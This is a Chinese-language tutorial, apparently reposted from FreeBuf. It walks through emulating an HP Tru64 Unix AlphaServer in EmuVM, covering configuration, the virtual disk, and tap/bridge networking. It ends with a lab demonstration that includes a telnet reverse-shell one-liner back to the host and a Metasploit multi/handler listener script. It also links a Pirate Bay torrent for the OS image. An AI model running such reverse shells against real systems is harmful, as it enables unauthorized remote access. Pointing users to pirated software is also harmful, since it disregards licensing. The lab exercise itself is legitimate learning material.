随着虚拟化技术的不断发展,给我们带来了越来越多的便利,让我们几乎可以模拟任何我们呢可以想到的设备。这里我们就利用这高超的虚拟化技术来摸拟一个并不是那么常用的操作系统Tru64 Ubix操作系统,同时使用Metasploit对其进行简单的渗透演示操作。
工具环境简介
这里我们使用的模拟器名字叫做EmuVM,这是一款免费的虚拟化软件,而且同时支持win平台和linux平台,需要的同学可以在这里下载:http://emuvm.com/downloads.php
这一款模拟器可以模拟大量的Alpha servers,而且可以说几乎是64bit的linux系统下最好的选择了。而关于Tru64 Unix系统网上几乎找不到什么资料,所以我决定写一篇文章来记录一下我搭建的过程,同时我将在最后使用Metasploit对搭好的系统环境进行简单的渗透。
那么首先第一件事就是我们需要获取一份EmuVM的安装文件。这里我使用的是该软件的稳定版本alphavm-free-1-3-9.tgz(http://emuvm.com/read.php?file=alphavm-free-1-3-9.tgz )。下载解压之后的文件夹里面有两个很重要的文件,一个是模拟器的启动的二进制文件,另一个是配置文件。这里我附上我的配置文件,该配置文件是我模拟AlphaServer DS10 616 MhZ时使用的。
这里是config.emu的内容:
system{ type = ds10_616; reported_type = default; num_cpus = 1; ssn = 'EmuVM-00-000-001'; interval_clock_freq = 1000; memory{ size= 512; } cpu{ server = basic; jit{ async = yes; } } serial com1 { server = socket; port = 3000; } serial com2 { server = socket; port = 3001; } scsi_controller qla0 { scsi_id = 7; } scsi_controller qla1 { scsi_id = 7; } scsi_disk dka0 { scsi_bus = 0; scsi_id = 0; scsi_lun = 0; file = 'disk.dd'; caching = no; write_through = yes; } scsi_cdrom iso { scsi_id = 4; file = 'Tru64.iso'; } ether eth0 { type = dec21040; server = dummy; mac_address = 0x08002B000001; } ether eth1 { type = dec21040; server = tap; interface = 'tap0'; mac_address = 0x08002B000002; } }
配置文件中的重要的部分主要是虚拟磁盘的位置和网卡的设置,这里我把所有的文件都放在了root下。除此之外,安装之前我们还需要准备一个大约2G的空间来放置我们的模拟系统。
dd if=/dev/zero of=disk.dd bs=1024 count=2M
虚拟系统准备
好的,这一步做完之后,接下来我们需要安装Tru64系统。如果你有一个安装版CD你可以简单的直接把CD内容dd成一个ISO文件,如果你没有,可以到海盗湾上面找一个(小编:这里我只找到了一个,https://thepiratebay.cr/torrent/5634366/Tru64_5.1B4)
那么现在有了ISO镜像之后就可以启动VM了,命令如下:
./alphavm_free config.emu
然后我们就可以用socat连接虚拟机了,命令如下:
socat -,raw,echo=0,escape=0x1c tcp:127.0.0.1:3000
当然我们也可以使用其他的比如telnet或者putty等来连接虚拟机但是可能会出现一些问题,所以这里我还是建议使用socat连接。
user@Obelix:~/KVM/Alpha/Tru64$./connect.console.sh
系统安装配置
好的,这里就需要我们的ISO镜像文件来安装Tru64了,我们首先需要告诉虚拟机需要从哪个设备boot起来,在这里是dka400(CDROM):
boot dka400
ISO是单用户启动模式,然后我们可以进行简单的系统安装,这里因为不是特别困难只要跟着指示一步一步走就没有问题所以略过不说,相信大家都有安装虚拟机的经验。
安装完成之后就可以直接从HDD硬盘启动了:
boot dka0
最重要的事情就是配置网络环境了。这里我将展示如何通过一个简单的脚本来配置虚拟网卡tap0和桥接网口。我这里使用的是带有两块网卡的笔记本,一个是无线网卡,接口是wlan0,另一个是有线网卡,接口是eth0。其中eth0是接入VM主机,而无线网卡wlan0接入网络。下面是我的配置脚本:
tunctl -t tap0 -u user ifconfig tap0 up brctl addbr br0 brctl addif br0 eth0 brctl setfd br0 0 ifconfig eth0 10.0.2.1 up ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up route add -net 0.0.0.0/0 gw 10.0.2.1 brctl addif br0 tap0 ifconfig tap0 0.0.0.0 iptables -A POSTROUTING -j MASQUERADE -s 10.0.2.0/24 -t nat
脚本解释:我将我的eth0的IP设为10.0.2.1,然后将虚拟机的IP设为10.0.2.10,这里就可以实现HOST主机和VM虚拟机之间的连通了。如果你想让虚拟机也上网,可以增加一个路由10.0.2.2到网络中。
在运行这个虚拟机之前,我这里给虚拟机加一个虚拟网卡,增加以下内容到config.emu文件中:
ether eth1 { type = dec21040; server = tap; interface = 'tap0'; mac_address = 0x08002B000002; }
虚拟机中我们需要指定IP地址,用以下配置:
tu1: flags=c63<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST,SIMPLEX> inet 10.0.2.10 netmask ffffff00 broadcast 10.0.2.255 ipmtu 1500
简单的渗透测试
那么现在我们就将虚拟机搭建好了,接下来我们对这个虚拟机进行简单的渗透测试,这里我们还是使用一个reverse
shell来建一个后门文件让虚拟机执行,生成的c文件如下所示:
sh-c '(sleep 4074|telnet 10.0.2.1 8000|while : ; do sh &&break; done 2>&1|telnet 10.0.2.1 8000 >/dev/null 2>&1 &)'
然后我们在HOST主机中建一个监听:
#!/bin/bash clear echo "***************************************************************" echo " Automatic shellcode generator - FOR METASPLOIT " echo "***************************************************************" echo -e "What Port Number are we gonna listen to? : \c" read port echo " starting the meterpreter listener.." ./msfcli exploit/multi/handler PAYLOAD=cmd/unix/reverse LHOST=10.0.2.1 LPORT=$port E
然后我们就能看到我们的Metasploit收到了一个reverse
shell。
下面是渗透过程的视频Demo:
文章最主要的目的还是起到一个引导教学的作用,主要是告诉大家如何搭建一个不是特别常用的系统,这里作者使用的系统是HP的Tru64 Unix系统,希望大家可以有所收获。:)
[文/FreeBuf小编xia0k参考来源:astr0baby.wordpress.com 转载请注明:FreeBuf.COM]